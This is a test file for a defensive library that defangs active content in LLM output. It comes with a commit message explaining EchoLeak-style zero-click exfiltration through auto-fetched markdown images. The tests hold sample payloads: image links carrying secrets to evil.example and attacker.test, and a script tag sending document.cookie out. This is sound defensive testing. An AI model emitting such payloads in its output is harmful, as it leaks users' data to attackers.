llm-ingestion-pipeline-secu.../tests/test_neutralize.py
Kjell Tore Guttormsen 78c9f2f7f1 feat(neutralize): opt-in pure defang of active-content output (TDD) [skip-docs]
Build-order step 6. Close the EchoLeak class (CVE-2025-32711): active content in
persisted model OUTPUT that a downstream renderer auto-fetches or makes clickable,
exfiltrating data zero-click. These carriers are neither injection strings nor
high-entropy, so lexicon + entropy miss them — a distinct control (OWASP LLM05,
Improper Output Handling).

Defang, don't delete. URLs in active-content position are rewritten to a
non-resolvable but auditable form (https://evil.com -> hxxps://evil[.]com;
data:/javascript: colon neutralized to [:]); raw active HTML is escaped so a
renderer shows inert literal text. Visible information survives review; only the
machine-actionable affordance dies. Dot-defang is idempotent (never [[.]]).

Six classes, each a Finding: markdown-image (HIGH, the zero-click primitive),
inline-link (MEDIUM), reference-link definition (MEDIUM, the documented
image-filter bypass), angle-bracket autolink (MEDIUM), raw active HTML (HIGH,
inherently-active tag OR event/URL attribute — benign <b>/<em> left untouched),
standalone data: URI (HIGH). Processing order prevents double-counting.

Opt-in and separate: calling neutralize() IS the opt-in to mutate; the report-only
gate stays pure (design principles 3 & 4). Byte-identical on clean output, mirror
of the sanitizer invariant. Scope conceded in the docstring: a targeted defanger,
not a full HTML sanitizer.

17 tests: byte-identity + FP guards (lone <>[], metadata:, benign HTML), image
defang + non-resolvability, secret-exfil URL, inline/reference/autolink, raw-html
escape + script neutralization, data: URI, no double-count, counts, source.

[skip-docs]: README positioning + honest-limitations remains the deliberate
build-order step-11 deliverable (steps 1-5 likewise left README frozen).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HyRCQMocjZ6SmSQ6JidJ2k
2026-07-04 18:55:12 +02:00

141 lines
5.8 KiB
Python

"""Tests for active-content neutralization (build order step 6).
``neutralize`` is the opt-in, PURE defang helper for model OUTPUT. It closes the
EchoLeak class (CVE-2025-32711): active content in persisted model output that a
downstream renderer auto-fetches (markdown images) or makes clickable, leaking
data zero-click. These carriers are neither injection strings nor high-entropy,
so lexicon + entropy miss them entirely.
Invariants mirror the sanitizer: clean output returns byte-identical with an
empty report; only active-content constructs are ever rewritten. Mutation lives
here, kept separate from the report-only output gate (design principles 3 & 4).
The transform is pure ``text -> (defanged_text, report)`` — no I/O, no globals.
"""
from llm_ingestion_guard.neutralize import neutralize
from llm_ingestion_guard.report import Severity, Source
def test_clean_output_is_byte_identical():
text = "A perfectly ordinary wiki paragraph. Costs $5! See section [1] below (really)."
result = neutralize(text)
assert result.text == text
assert result.report.found is False
def test_default_source_is_output():
# Unlike sanitize/fence (INPUT), this module targets the model's OUTPUT.
result = neutralize("![x](https://evil.example/leak)")
assert result.report.found is True
assert all(f.source is Source.OUTPUT for f in result.report.findings)
def test_markdown_image_is_defanged_high_severity():
# The EchoLeak primitive: an auto-fetched image URL carrying exfiltrated data.
result = neutralize("![logo](https://evil.example/leak?data=SECRET)")
assert "https://evil.example" not in result.text # fetchable URL is gone
assert "hxxps" in result.text
assert "logo" in result.text # alt text preserved for audit
img = [f for f in result.report.findings if f.label == "neutralize:markdown-image"]
assert len(img) == 1
assert img[0].severity is Severity.HIGH
assert img[0].detector == "neutralize"
assert img[0].owasp == "LLM05"
def test_defanged_url_is_not_resolvable():
result = neutralize("![x](https://evil.example/x)")
# Scheme neutralized and host dots bracketed -> no renderer will resolve it.
assert "hxxps://evil[.]example" in result.text
def test_secret_exfil_url_no_longer_fetchable():
exfil = "STOLEN-SESSION-DATA"
result = neutralize(f"![ ](http://attacker.test/c?k={exfil})")
# The secret text may remain visible, but never inside a fetchable URL.
assert "http://attacker.test" not in result.text
assert "hxxp://attacker[.]test" in result.text
def test_inline_link_is_defanged_medium():
result = neutralize("click [here](https://evil.example/go) now")
assert "https://evil.example" not in result.text
assert "here" in result.text
link = [f for f in result.report.findings if f.label == "neutralize:markdown-link"]
assert len(link) == 1
assert link[0].severity is Severity.MEDIUM
def test_image_is_not_double_counted_as_link():
result = neutralize("![alt](https://evil.example/x)")
labels = {f.label for f in result.report.findings}
assert "neutralize:markdown-image" in labels
assert "neutralize:markdown-link" not in labels
def test_reference_style_link_definition_is_defanged():
text = "See [the doc][ref].\n\n[ref]: https://evil.example/leak"
result = neutralize(text)
assert "https://evil.example" not in result.text
assert any(f.label == "neutralize:reference-link" for f in result.report.findings)
def test_angle_bracket_autolink_is_defanged():
result = neutralize("read more <https://evil.example/x> here")
assert "https://evil.example" not in result.text
assert "hxxps://evil[.]example" in result.text
assert any(f.label == "neutralize:autolink" for f in result.report.findings)
def test_raw_active_html_is_escaped():
result = neutralize('<img src="https://evil.example/leak?d=x">')
assert "<img" not in result.text # no longer renders as active content
assert "&lt;img" in result.text
html = [f for f in result.report.findings if f.label == "neutralize:raw-html"]
assert len(html) == 1
assert html[0].severity is Severity.HIGH
def test_benign_formatting_html_is_left_untouched():
text = "This is **bold** and <b>strong</b> and <em>emph</em> text."
result = neutralize(text)
assert result.text == text
assert result.report.found is False
def test_script_tag_is_neutralized():
result = neutralize("<script>fetch('https://evil.example/'+document.cookie)</script>")
assert "<script>" not in result.text
assert any(f.label == "neutralize:raw-html" for f in result.report.findings)
def test_standalone_data_uri_is_defanged():
result = neutralize("open data:text/html;base64,PHNjcmlwdD4= please")
assert "data:text/html" not in result.text
assert any(f.label == "neutralize:data-uri" for f in result.report.findings)
def test_data_uri_does_not_match_inside_a_word():
# "metadata:" must not be mistaken for a data: URI (FP guard, as in sanitize).
text = "the metadata: field is documented here"
result = neutralize(text)
assert result.text == text
assert result.report.found is False
def test_multiple_images_are_counted():
result = neutralize("![a](https://x.example/1) ![b](https://y.example/2)")
img = [f for f in result.report.findings if f.label == "neutralize:markdown-image"][0]
assert img.count == 2
def test_source_override_is_respected():
result = neutralize("![x](https://evil.example/x)", source=Source.INPUT)
assert all(f.source is Source.INPUT for f in result.report.findings)
def test_prose_with_lone_brackets_and_angles_is_identical():
# FP guards: none of these are active constructs.
text = "if a < b and c > d then see [note] and call f(x)."
result = neutralize(text)
assert result.text == text
assert result.report.found is False